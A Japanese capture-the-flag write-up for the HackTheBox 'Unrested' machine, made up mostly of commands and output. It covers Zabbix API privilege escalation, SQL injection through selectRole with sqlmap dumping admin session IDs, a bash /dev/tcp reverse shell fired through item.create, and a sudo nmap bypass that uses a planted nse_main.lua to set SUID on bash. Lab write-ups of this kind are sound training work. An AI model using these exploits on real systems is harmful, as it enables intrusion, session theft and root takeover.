概要
HackTheBox「Unrested」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sVC -T4 -A -p- 10.10.11.50 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
10050/tcp open tcpwrapped
10051/tcp open ssl/zabbix-trapper?
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.9p1 |
80 | http | Apache httpd 2.4.52 |
10050 | tcpwrapped | |
10051 | ssl/zabbix-trapper? |
80
番ポートにアクセスするとZabbix
のログインフォームが表示されました。
事前に提示されているUsername: matthew
,Password: 96qzn0h2e1k3
を使用してログインできます。
ダッシュボードからversion 7.0.0
だと分かりました。
Zabbixの脆弱性で検索するとCVE-2024-36467
が見つかります。
Zabbix APIを利用したアカウント権限昇格の脆弱性のようです。
また、CVE-2024-42327
も見つかりました。
Zabbix APIのuser.get
エンドポイントでSQLインジェクションが出来ます。
APIの公式ドキュメントも参考に進めます。
CVE-2024-36467のエクスプロイト
まず、APIキーを取得します。
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.login","params":
{"username":"matthew","password":"96qzn0h2e1k3"},"id":1}'
{"jsonrpc":"2.0","result":"287abc63e165b628adc310470a43421a","id":1}
user.get
でユーザー一覧を取得します。
auth
キーの値に先ほど取得したAPIキーを設定します。
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.get","params": {"output": "extend"},"auth":"287abc63e165b628adc310470a43421a","id":1}' | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1143 100 1026 100 117 1998 227 --:--:-- --:--:-- --:--:-- 2223
{
"jsonrpc": "2.0",
"result": [
{
"userid": "1",
"username": "Admin",
"name": "Zabbix",
"surname": "Administrator",
"url": "",
"autologin": "1",
"autologout": "0",
"lang": "default",
"refresh": "30s",
"theme": "default",
"attempt_failed": "0",
"attempt_ip": "10.10.14.21",
"attempt_clock": "1733477708",
"rows_per_page": "50",
"timezone": "default",
"roleid": "3",
"userdirectoryid": "0",
"ts_provisioned": "0"
},
{
"userid": "2",
"username": "guest",
"name": "",
"surname": "",
"url": "",
"autologin": "0",
"autologout": "15m",
"lang": "default",
"refresh": "30s",
"theme": "default",
"attempt_failed": "0",
"attempt_ip": "",
"attempt_clock": "0",
"rows_per_page": "50",
"timezone": "default",
"roleid": "4",
"userdirectoryid": "0",
"ts_provisioned": "0"
},
{
"userid": "3",
"username": "matthew",
"name": "Matthew",
"surname": "Smith",
"url": "",
"autologin": "1",
"autologout": "0",
"lang": "default",
"refresh": "30s",
"theme": "default",
"attempt_failed": "0",
"attempt_ip": "10.10.14.202",
"attempt_clock": "1733519157",
"rows_per_page": "50",
"timezone": "default",
"roleid": "1",
"userdirectoryid": "0",
"ts_provisioned": "0"
}
],
"id": 1
}
下記情報を取得できました。
管理者アカウントにはロールID3
が割り当てられています。
ユーザーID | ユーザー名 | ロールID |
---|---|---|
1 | Admin | 3 |
2 | guest | 4 |
3 | matthew | 1 |
usergroup.get
を使用してユーザーグループを確認します。
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"usergroup.get","params": {"output": "extend","status": 0},"auth":"287abc63e165b628adc310470a43421a","id":1}' | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 461 100 327 100 134 639 262 --:--:-- --:--:-- --:--:-- 900
{
"jsonrpc": "2.0",
"result": [
{
"usrgrpid": "13",
"name": "Internal",
"gui_access": "1",
"users_status": "0",
"debug_mode": "0",
"userdirectoryid": "0",
"mfa_status": "0",
"mfaid": "0"
},
{
"usrgrpid": "7",
"name": "Zabbix administrators",
"gui_access": "0",
"users_status": "0",
"debug_mode": "0",
"userdirectoryid": "0",
"mfa_status": "0",
"mfaid": "0"
}
],
"id": 1
}
AdminのグループIDが7
,内部用のグループIDが13
に設定されていると分かりました。
usergroup.update
を使用してmatthew
を管理者グループと内部用グループに追加します。
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.update","params": {"userid":"3","usrgrps":[{"usrgrpid":"13"},
{"usrgrpid":"7"}]},"auth":"287abc63e165b628adc310470a43421a","id":1}' | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 213 100 51 100 162 96 305 --:--:-- --:--:-- --:--:-- 401
{
"jsonrpc": "2.0",
"result": {
"userids": [
"3"
]
},
"id": 1
}
再度user.get
リクエストを送ると、matthew
アカウントが両方のグループに所属できていると分かります。
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.get","params": {"output": ["userid","3"],"selectUsrgrps":["usrgrpid","name"],"filter": {"alias":"matthew"}},"auth":"287abc63e165b628adc310470a43421a","id":1}' | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 509 100 320 100 189 623 368 --:--:-- --:--:-- --:--:-- 992
{
"jsonrpc": "2.0",
"result": [
{
"userid": "1",
"usrgrps": [
{
"usrgrpid": "7",
"name": "Zabbix administrators"
},
{
"usrgrpid": "13",
"name": "Internal"
}
]
},
{
"userid": "2",
"usrgrps": [
{
"usrgrpid": "13",
"name": "Internal"
}
]
},
{
"userid": "3",
"usrgrps": [
{
"usrgrpid": "7",
"name": "Zabbix administrators"
},
{
"usrgrpid": "13",
"name": "Internal"
}
]
}
],
"id": 1
}
CVE-2024-42327のエクスプロイト
selectRole
オプションが指定されている場合のサニタイズが不十分なので、そこでSQLインジェクションを悪用します。
試しにSLEEP
関数を実行してみるとSQLインジェクションが成功したと分かります。
--proxy
オプションでBurp Proxyを挟んでいます。
$ time curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.get","params": {"output": ["userid","username"],"selectRole":["roleid","name AND (SELECT 1 FROM (SELECT SLEEP(5))A)"],"editable":1},"auth":"287abc63e165b628adc310470a43421a","id":1}' --proxy 127.0.0.1:8080 | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 358 100 145 100 213 26 38 0:00:05 0:00:05 --:--:-- 41
{
"jsonrpc": "2.0",
"result": [
{
"userid": "3",
"username": "matthew",
"role": {
"roleid": "1",
"r.name AND (SELECT 1 FROM (SELECT SLEEP(5))A)": "0"
}
}
],
"id": 1
}
real 5.52s
user 0.01s
sys 0.00s
cpu 0%
real 5.52s
user 0.00s
sys 0.00s
cpu 0%
Burpから今のリクエスト内容を取得し、selectRole
の値を編集してテキストファイルに保存します。
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.11.50
User-Agent: curl/8.10.1
Accept: */*
Content-Type: application/json-rpc
Content-Length: 213
Connection: keep-alive
{
"jsonrpc":"2.0",
"method":"user.get",
"params": {
"output": ["userid","username"],
"selectRole": [
"roleid",
"name *"
],
"editable":1
},
"auth":"c8b1603a7d347f4ff40db5f4a6238864",
"id":1
}
SQLMapでDBの列挙ができました。
$ sqlmap -r sqli_request.txt --dbs
available databases [2]:
[*] information_schema
[*] zabbix
zabbix
DBのテーブル情報を列挙できました。
$ sqlmap -r sqli_request.txt --batch --dbms=mysql -D zabbix --tables
Database: zabbix
[16 tables]
+-------------------------+
| A |
| event_tag |
| grai |
| hgset |
| httpstep |
| item_discovery |
| item_rtdata |
| lld_override_opdiscover |
| problem |
| proxy_group |
| proxy_history |
| proxy_rtdata |
| script_param |
| sessions |
| token |
| users |
+-------------------------+
sessions
テーブルからAdminのセッションデータを取得できました。
$ sqlmap -r sqli_request.txt --batch -D zabbix -T sessions --dump
Database: zabbix
Table: sessions
[2 entries]
+---------+----------------------------------+----------------------------------+----------+------------+
| userid | sessionid | secret | status | lastaccess |
+---------+----------------------------------+----------------------------------+----------+------------+
| 1 | cfd65dc060069d722654831aa2b9125d | 0e0c3531bf76bdd2450f6ef7f84e25e3 | 0 | 1733555177 |
| <blank> | <blank> | <blank> | 0 | 15 |
+---------+----------------------------------+----------------------------------+----------+------------+
Zabbixではsystem.run
が有効な場合、item.create
を使用してRCEを実行できます。
system.run
を実行するにはhostid
やinterfaceid
が必要なのでhost.get
エンドポイントから取得します。
auth
キーの値には先ほどSQLインジェクションから取得したAdminのsessionid
を使用します。
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"host.get","params":
{"output":["hostid","host"],"selectInterfaces":["interfaceid"]},"auth":"cfd65dc060069d722654831aa2b9125d","id":1}' | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 272 100 112 100 160 220 315 --:--:-- --:--:-- --:--:-- 535
{
"jsonrpc": "2.0",
"result": [
{
"hostid": "10084",
"host": "Zabbix server",
"interfaces": [
{
"interfaceid": "1"
}
]
}
],
"id": 1
}
item.create
のsystem.run
を使用してリバースシェルを張ります。
$ curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"item.create","params":{"name":"rce","key_":"system.run[bash -c '\''bash -i >& /dev/tcp/10.10.14.176/1234 0>&1'\'']","delay":1,"hostid":"10084","type":0,"value_type":1,"interfaceid":"1"},"auth":"cfd65dc060069d722654831aa2b9125d","id":1}'
{"jsonrpc":"2.0","result":{"itemids":["47183"]},"id":1}
Netcatでリッスンしているとzabbix
アカウントのシェルを取得できました。
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.176] from (UNKNOWN) [10.10.11.50] 53480
bash: cannot set terminal process group (1928): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@unrested:/$ whoami
whoami
zabbix
/home/matthew/user.txt
からユーザーフラグを入手できました。
$ cat user.txt
cat user.txt
8427706fbe431aae57012a4a9f76b981
Root Flag
sudo -l
を確認するとnmap
が許可されています。
$ sudo -l
sudo -l
Matching Defaults entries for zabbix on unrested:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User zabbix may run the following commands on unrested:
(ALL : ALL) NOPASSWD: /usr/bin/nmap *
GTFOBinsでnmap
のsudoを利用したテクニックが見つかります。
GTFOBinsを参考に進めますが、エラーメッセージが表示されます。
$ TF=$(mktemp)
$ echo 'os.execute("/bin/sh")' > $TF
$ sudo nmap --script=$TF
Script mode is disabled for security reasons.
nmap
の処理を確認すると権限昇格に使用する--script
などのオプションが実行できないようになっており、対策がされています。
$ which nmap
/usr/bin/nmap
$ cat /usr/bin/nmap
#!/bin/bash
#################################
## Restrictive nmap for Zabbix ##
#################################
# List of restricted options and corresponding error messages
declare -A RESTRICTED_OPTIONS=(
["--interactive"]="Interactive mode is disabled for security reasons."
["--script"]="Script mode is disabled for security reasons."
["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
["-iL"]="File input mode is disabled for security reasons."
)
# Check if any restricted options are used
for option in "${!RESTRICTED_OPTIONS[@]}"; do
if [[ "$*" == *"$option"* ]]; then
echo "${RESTRICTED_OPTIONS[$option]}"
exit 1
fi
done
nmap
のスクリプトはLua
というスクリプト言語で書かれています。
今回はLuaのos.execute
メソッドを利用します。
この関数を利用することでシステムコマンドを実行できます。
また、nmapの--datadir
オプションを使用することで、スクリプトファイルのディレクトリを任意の場所に指定できます。
nmapの-sC
オプションを使用した場合はnse_main.lua
がロードされます。
$ ls -la /usr/share/nmap
ls -la /usr/share/nmap
total 9192
drwxr-xr-x 4 root root 4096 Dec 1 13:40 .
drwxr-xr-x 126 root root 4096 Dec 3 11:51 ..
-rw-r--r-- 1 root root 10556 Jan 12 2023 nmap.dtd
-rw-r--r-- 1 root root 717314 Jan 12 2023 nmap-mac-prefixes
-rw-r--r-- 1 root root 5002931 Jan 12 2023 nmap-os-db
-rw-r--r-- 1 root root 14579 Jan 12 2023 nmap-payloads
-rw-r--r-- 1 root root 6703 Jan 12 2023 nmap-protocols
-rw-r--r-- 1 root root 49647 Jan 12 2023 nmap-rpc
-rw-r--r-- 1 root root 2461461 Jan 12 2023 nmap-service-probes
-rw-r--r-- 1 root root 1000134 Jan 12 2023 nmap-services
-rw-r--r-- 1 root root 31936 Jan 12 2023 nmap.xsl
drwxr-xr-x 3 root root 4096 Dec 1 13:40 nselib
-rw-r--r-- 1 root root 48404 Jan 12 2023 nse_main.lua
drwxr-xr-x 2 root root 36864 Dec 1 13:40 scripts
os.execute()
を使用し、/bin/bash
にSUIDを設定するスクリプトを/tmp/nse_main.lua
として新たに作成します。
$ echo 'os.execute("chmod u+s /bin/bash")' > /tmp/nse_main.lua
Nmapをlocalhostに実行します。
--datadir
と-sC
オプションを併用することで、新たに作成した/tmp/nse_main.lua
が指定されます。
$ sudo /usr/bin/nmap --datadir=/tmp -sC localhost
<ew$ sudo /usr/bin/nmap --datadir=/tmp -sC localhost
Starting Nmap 7.80 ( https://nmap.org ) at 2024-12-07 08:40 UTC
nmap.original: nse_main.cc:619: int run_main(lua_State*): Assertion `lua_isfunction(L, -1)' failed.
bash: [1930: 2 (255)] tcsetattr: Inappropriate ioctl for device
/bin/bash
を確認するとSUIDが設定されていると分かります。
zabbix@unrested:/home/matthew$ ls -la /bin/bash
ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
Bashの-p
オプションでrootに昇格出来ました。
$ /bin/bash -p
/bin/bash -p
whoami
root
/root/root.txt
からルートフラグを入手できました。
cat /root/root.txt
53909d58b958b7ae2d57b5f2aecb0720